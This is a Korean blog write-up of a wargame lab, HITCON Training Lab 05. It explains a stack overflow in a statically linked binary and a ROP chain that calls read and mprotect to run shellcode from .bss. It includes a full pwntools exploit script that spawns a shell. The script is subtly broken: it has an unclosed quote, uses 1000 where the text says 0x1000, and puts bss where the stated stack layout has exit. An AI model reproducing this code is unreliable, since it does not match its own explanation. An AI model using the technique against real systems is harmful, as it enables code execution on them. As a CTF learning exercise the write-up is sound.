일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- #
- BEST of the BEST
- KASAN
- libpcap
- #IntelManual #segment Descriptor #세그먼트 디스크립터 #MINT64 #Sqix
- libtins
- 오버워치
- Overwatch League SaberMetrics
- Sqix
- command
- >
- #Best of the Best #OS #MINT64 #Sqix
- 오버워치 세이버메트릭스
- #IntelManual
- vi
- FTZ 레벨2
- ftz
- 인터럽트
- #Qt Creator
- Find
- vi 외부 명령어
- #MINT64 #Sqix
- vim
- Network
- C++11
- linux
- Today
- Total
Sqix
Hitcon Training - Lab 05 : Return Oriented Programming 본문
Hitcon Training - Lab 05 : Return Oriented Programming
Sqix_ow 2019. 9. 21. 00:07
simple rop 문제입니다.
문제를 풀 때 다른 문제처럼 system 함수를 이용해서 풀려고 해 봤으나, 되지 않아서 왜 그런지 고민해본 결과 statically linked 되어있기 때문에 system 함수를 libc에서 끌어와서 푸는 형식이 아니라, shellcode를 bss에 올린 후 bss에 실행 권한을 주어 쉘코드가 실행하도록 하여야 합니다.
이것만 빼면 무난하게 풀 수 있습니다.
일단 어셈으로 코드를 유추해 보면
main()
{
char buf[20];
puts("ROP is easy is'nt it ?");
printf("Your input :");
fflush(stdout);
read(0, buf, 100);
return ;
}
정도인 것 같습니다.
취약점은 read에서 버퍼가 20바이트인데 100바이트를 입력받을 수 있는 BOF 취약점을 이용해야 할 것 같습니다.
일단 이 문제를 풀기 전 알아야 할 함수가 있습니다. 바로 mprotect 함수입니다.
일반적으로 BOF 문제들은 system() 함수를 이용해서 쉘을 실행시키는 방식을 주로 사용하게 됩니다.
그렇지만, 이번 문제처럼 static-linked로 컴파일된 문제들 중 system() 함수를 이용하기 어려운 문제가 있습니다.
이럴 경우, NX-Bit가 걸려있더라도 이 함수로 쓰기 가능한 메모리 영역에 쉘코드를 올린 후 실행시킬 수 있습니다.
int mprotect(void *addr, size_t len, int prot);
함수의 원형은 위와 같습니다.
addr은 주소의 시작점이고 len은 길이이며 page 사이즈의 배수, prot는 권한 설정(rwx의 수 형태)입니다.
mprotect에 대해서 알아보았으니, 이제 다시 문제로 돌아가 보도록 하겠습니다.
Stage 1
먼저 어떻게 payload를 구성할 것인지 생각해 봅시다. Byte 길이제한은 널럴한 편이네요.
1. read(0, bss, len(shellcode)); 로 bss 영역에 쉘코드를 삽입합니다.
2. mprotect(bss, 0x1000, 7); 로 bss 영역에 실행 권한을 부여합니다.
이렇게 하고 read함수가 동작하면 여기에 shellcode를 삽입해 주면 되겠습니다.
우리가 여기서 구해야 할 것은 다음과 같습니다.
1. read 함수의 실제 주소
2. mprotect 함수의 실제 주소
3. bss 영역의 주소
4. read의 인자가 3개이므로, pop - pop - pop - ret Gadget의 주소
5. 변수로부터 Return Address까지의 거리
이제 shellcode와 payload 구성을 해 보도록 합시다.
shellcode는 shell을 실행할 수 있도록 shellcraft.i386.linux.sh() 를 이용하겠습니다.
payload는 A를 32개 넣어 덮어 주고, shellcode를 넣을 수 있도록, 그리고 bss에 실행 권한을 줄 수 있도록 합시다.
스택 구성은 다음과 같습니다.
[A * 32] - [read] - [gadget] - [bss] - [len(shellcode)] - [mprotect] - [exit] - [bss] - [0x1000] - [7]
from pwn import *
context.log_level = 'debug'
p = process('./simplerop')
read_addr = 0x806cd50
mprotect_addr = 0x806d870
bss_addr = 0x80ec000
gadget_addr = 0x80b4a62
exit_addr = 0x804e700
shellcode = asm(shellcraft.i386.linux.sh(), arch='i386)
payload = ''
payload += 'A' * 32
payload += p32(read_addr)
payload += p32(gadget_addr)
payload += p32(0)
payload += p32(bss_addr)
payload += p32(len(shellcode))
payload += p32(mprotect_addr)
payload += p32(bss_addr)
payload += p32(bss_addr)
payload += p32(1000)
payload += p32(7)
p.recvuntil(':')
p.sendline(payload)
p.sendline(shellcode)
p.interactive()
'Wargame > HITCON Training' 카테고리의 다른 글
Hitcon Training - Lab 06 : Stack Migration (0) | 2019.09.24 |
---|---|
Hitcon Training - Lab 04 : Return to libc (0) | 2019.09.18 |
Hitcon Training - Lab 03 : Return to shellcode (0) | 2019.09.16 |
Hitcon Training - Lab 02 : Shellcraft (0) | 2019.09.10 |
Hitcon Training - Lab 01 : Sysmagic (0) | 2019.09.09 |